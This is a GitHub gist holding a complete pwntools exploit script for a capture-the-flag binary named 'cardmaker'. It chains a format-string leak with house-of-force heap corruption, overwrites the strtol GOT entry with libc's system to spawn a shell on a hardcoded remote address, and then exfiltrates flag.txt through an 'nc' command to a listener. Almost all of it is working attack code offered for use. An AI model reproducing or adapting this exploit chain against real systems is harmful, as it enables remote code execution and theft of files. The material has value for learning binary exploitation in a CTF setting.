Skip to content

Instantly share code, notes, and snippets.

@wumb0
Created November 21, 2016 05:37
Show Gist options
  • Save wumb0/e16bb196e06b795be1cfcbdf8b1b6687 to your computer and use it in GitHub Desktop.
Save wumb0/e16bb196e06b795be1cfcbdf8b1b6687 to your computer and use it in GitHub Desktop.
from pwn import *
from time import sleep
import numpy as np
'''
this is a format string leak combined with house of force heap exploitation.
You control the amount of memory allocated. So allocating very little space,
then a lot (calculated), then again will allow you to get a pointer to read/write
anywhere you want!
Steps:
1. Make a card of size 4294967295 with the border %x
2. Send it to yourself! Need the stack leaks to get the top ptr
3. Overwrite wilderness chunk size with very large number (-1 or so)
4. Send cards to get leak. This will allocate some space so this needs to be taken into account
5. Calculate the amount to allocate for the final malloc to return the desired place
6. Make a card of the correct size to reach where the read/write will take place
7. Write what you want to this area.
8. I need to figure out where to write to... probably the stack to kill the return pointer
'''
def card(p, contents, length=None, ip=args.get("IP", "127.0.0.1"), port=args.get("PORT", 8080), author="/bin/sh", recip="mom", border="%x"):
p.sendline("1")
p.sendline(author)
p.sendline(recip)
p.sendline(ip + ":" + str(port))
p.sendline(border)
if length is None:
length = len(contents)
p.sendline(str(length))
if length != 0:
p.sendline(str(contents))
if length != len(contents):
p.sendline("done.")
def cutout(s, first, second):
fi = s.find(first) + len(first)
se = s.find(second, fi) + len(second)
return s[fi:se]
def main():
e = ELF("./cardmaker")
libc = ELF("libc-2.23.so")
context.arch = e.arch
if args['REMOTE']:
p = remote('54.167.134.245', 9887)
else:
p = process(e.path)
l = listen(int(args.get("PORT", 8080)), args.get("IP", "127.0.0.1"), timeout=5)
gdb.attach(p, "b cardmaker.c:218")
card(p, "", length=0)
p.sendline("5")
l.wait_for_connection()
cbuf = l.recvall()
heap_addr = int(cutout(cbuf, "80", "050"), 16) + 48
l.close()
log.success("Heap addr: " + hex(heap_addr))
evil_size = np.uint32(e.sym['got.strtol'] - 16 - heap_addr - 64)
log.success("Evil size: " + hex(evil_size))
card(p, cyclic(24) + p64(np.uint64(-1)), length=4294967295)
card(p, "papa bless", length=evil_size)
card(p, "", length=0, ip="123")
card(p, "", length=0, ip="123")
p.sendline("2")
p.sendline("5")
p.recvuntil("Contents: ")
leak_buf = p.recvuntil("\n")[:-1]
while len(leak_buf) != 8:
leak_buf += '\x00'
leak = u64(leak_buf)
libc.address = leak - libc.symbols['strtol']
log.success("strtol: " + str(hex(leak)))
log.success("libc base: " + hex(libc.address))
log.success("system: " + hex(libc.symbols['system']))
p.sendline("3")
p.sendline("5")
p.sendline(p64(libc.symbols['system']))
p.recvrepeat(.5)
p.sendline("id")
res = p.recvline()
if "uid" in res:
log.success(res)
log.success("Winner!")
else:
log.error("No shell :(")
return
l = listen(int(args.get("PORT", 8080)), args.get("IP", "127.0.0.1"), timeout=5)
p.sendline("nc {} {} < /home/cardmaker/flag.txt".format(args.get("IP", "127.0.0.1"), args.get("PORT", 8080)))
l.wait_for_connection()
log.success("FLAG: " + l.recvline())
if __name__ == '__main__':
main()
@Inndy
Copy link

Inndy commented Nov 21, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment